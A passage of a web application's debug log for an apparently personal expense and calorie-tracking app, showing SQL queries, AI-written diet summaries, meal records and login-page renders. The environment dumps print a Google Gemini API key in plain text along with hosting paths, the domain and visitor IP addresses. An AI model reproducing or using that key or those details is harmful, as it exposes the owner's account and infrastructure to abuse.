    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T12:06:09.806Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-16T12:06:09.806Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T12:06:09.807Z server-connect:app Executing action step identify
2025-12-16T12:06:09.807Z server-connect:app options: { provider: 'security' }
2025-12-16T12:06:09.807Z server-connect:output identity: 1
2025-12-16T12:06:09.807Z server-connect:app Executing action step restrict
2025-12-16T12:06:09.807Z server-connect:app options: { provider: 'security' }
2025-12-16T12:06:09.807Z server-connect:output restrict: undefined
2025-12-16T12:06:09.807Z server-connect:app Executing action step single
2025-12-16T12:06:09.807Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-16T12:06:09.808Z server-connect:app Executing action step identify
2025-12-16T12:06:09.808Z server-connect:app options: { provider: 'security' }
2025-12-16T12:06:09.808Z server-connect:output identity: 1
2025-12-16T12:06:09.808Z server-connect:app Executing action step restrict
2025-12-16T12:06:09.808Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T12:06:09.809Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "The day's nutrition shows a good variety of Indian foods, with adequate carbohydrate intake to fuel workouts. Protein sources appear somewhat limited, and hydration could be enhanced. Meal timing seems spread out, which supports consistent energy levels.",
    bad_points: [
      'Protein intake appears to be on the lower side for muscle development goals.',
      'The inclusion of digestive biscuits and ketchup might not optimally support body composition objectives.',
      'The milk-sugar coffee adds non-essential sugars.'
    ],
    good_points: [
      'Inclusion of traditional Indian dishes like Roti and Aloo Gobi.',
      'Spread out meal timings throughout the day.',
      'Consumption of green tea for hydration and potential metabolic benefits.'
    ],
    suggestions: [
      'Incorporate more protein-rich foods in meals and snacks, such as lentils, legumes, lean meats, or dairy.',
      'Prioritize whole, unprocessed foods and reduce intake of processed biscuits and sugary beverages.',
      'Increase water intake throughout the day.'
    ],
    predicted_weight: 70.15,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-15T18:30:00.000Z'
}
2025-12-16T12:06:09.809Z server-connect:output restrict: undefined
2025-12-16T12:06:09.810Z server-connect:app Executing action step single
2025-12-16T12:06:09.810Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T12:06:09.811Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T12:06:09.811Z server-connect:app Executing action step select
2025-12-16T12:06:09.811Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T12:06:09.813Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  },
  {
    id: 407,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)',
    replacements: 'Jowar/Bajra/Ragi Roti (similar calories but potentially better nutrient profile, higher fiber),Reduce quantity if carbohydrate intake needs to be controlled, replace with more vegetables or lean protein',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates, providing sustained energy for workouts and muscle recovery. Whole wheat also offers fiber and essential nutrients, which are beneficial for overall health and digestion.'
  },
  {
    id: 408,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)',
    replacements: 'More Gobi (cauliflower), less Aloo (potato) to reduce starch and calories,Cook with minimal oil/ghee or use healthy cooking sprays to reduce fat content,Add more non-starchy vegetables like spinach, carrots, or beans to increase volume and nutrients without excess calories',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 2,
    skip_reason: "Potatoes provide good carbohydrates for energy, and cauliflower is a nutrient-dense vegetable rich in vitamins and fiber. However, this sabzi is often prepared with a significant amount of oil/ghee, which adds a lot of calories and fat. For muscle development, it's beneficial to control fat intake from cooking oils while prioritizing lean protein and complex carbs. A leaner preparation would be more ideal."
  },
  {
    id: 409,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Digestive Biscuits',
    calories: 152,
    protein_gm: 2,
    carbs_gm: 22,
    fat_gm: 6,
    quantity: '2 biscuits (approx 32g, assuming 16g per biscuit)',
    replacements: 'Whole grain crackers (plain),Apple slices with a sprinkle of cinnamon,Plain roasted chickpeas',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 2,
    skip_reason: 'While providing some energy, digestive biscuits are processed and often contain refined flour, added sugars, and unhealthy fats. For muscle development and managing energy for a desk job, nutrient-dense whole foods that offer more protein and fiber, or slower-digesting complex carbohydrates, would be more beneficial.'
  },
  {
    id: 410,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Makhana (Fox Nuts)',
    calories: 88,
    protein_gm: 2,
    carbs_gm: 19,
    fat_gm: 0,
    quantity: '1 handful (approx 25g)',
    replacements: 'Air-popped popcorn (unsalted),Cucumber slices,Celery sticks',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: "Makhana is a healthy, low-fat, and good source of carbohydrates, fiber, and some protein. It's a much better snack choice compared to processed alternatives and provides sustained energy, aligning well with muscle development goals."
  },
  {
    id: 411,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (unsweetened)',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is an excellent beverage, rich in antioxidants and has negligible calories. It supports metabolism and overall health without hindering muscle development goals.'
  }
]
2025-12-16T12:06:09.813Z server-connect:app Executing action step setvalue
2025-12-16T12:06:09.813Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T12:06:09.814Z server-connect:output var_total: 1313
2025-12-16T12:06:09.814Z server-connect:app Executing action step setvalue
2025-12-16T12:06:09.814Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T12:06:09.814Z server-connect:output var_consumed: 55
2025-12-16T12:06:09.814Z server-connect:app Executing action step setvalue
2025-12-16T12:06:09.814Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T12:06:09.814Z server-connect:output var_deficit: 1087
2025-12-16T12:06:09.814Z server-connect:app Executing action step custom
2025-12-16T12:06:09.814Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T12:06:09.815Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '1313',
    surplus_or_deficit: '1087',
    status_flag: 2
  }
]
2025-12-16T12:30:58.814Z server-connect:router Serving templateView /
2025-12-16T12:30:58.815Z server-connect:app Executing action step identify
2025-12-16T12:30:58.815Z server-connect:app options: { provider: 'security' }
2025-12-16T12:30:58.815Z server-connect:auth No login cookie found
2025-12-16T12:30:58.815Z server-connect:output identity: false
2025-12-16T12:30:58.815Z server-connect:app Executing action step restrict
2025-12-16T12:30:58.815Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T12:30:58.816Z server-connect:output restrict: undefined
2025-12-16T12:30:58.948Z server-connect:router Serving templateView /login
2025-12-16T12:30:58.948Z server-connect:app Executing action step identify
2025-12-16T12:30:58.948Z server-connect:app options: { provider: 'security' }
2025-12-16T12:30:58.948Z server-connect:auth No login cookie found
2025-12-16T12:30:58.948Z server-connect:output identity: false
2025-12-16T12:30:58.948Z server-connect:router Render template layouts/authentication
2025-12-16T12:30:58.948Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '103.4.250.146',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T12:30:58.947Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '103.4.250.146',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '103.4.250.146',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-16T12:48:47.642Z server-connect:router Serving templateView /
2025-12-16T12:48:47.642Z server-connect:app Executing action step identify
2025-12-16T12:48:47.642Z server-connect:app options: { provider: 'security' }
2025-12-16T12:48:47.642Z server-connect:auth No login cookie found
2025-12-16T12:48:47.643Z server-connect:output identity: false
2025-12-16T12:48:47.643Z server-connect:app Executing action step restrict
2025-12-16T12:48:47.643Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T12:48:47.643Z server-connect:output restrict: undefined
2025-12-16T12:48:47.910Z server-connect:router Serving templateView /login
2025-12-16T12:48:47.911Z server-connect:app Executing action step identify
2025-12-16T12:48:47.911Z server-connect:app options: { provider: 'security' }
2025-12-16T12:48:47.911Z server-connect:auth No login cookie found
2025-12-16T12:48:47.911Z server-connect:output identity: false
2025-12-16T12:48:47.911Z server-connect:router Render template layouts/authentication
2025-12-16T12:48:47.911Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    priority: 'u=0, i',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T12:48:47.910Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
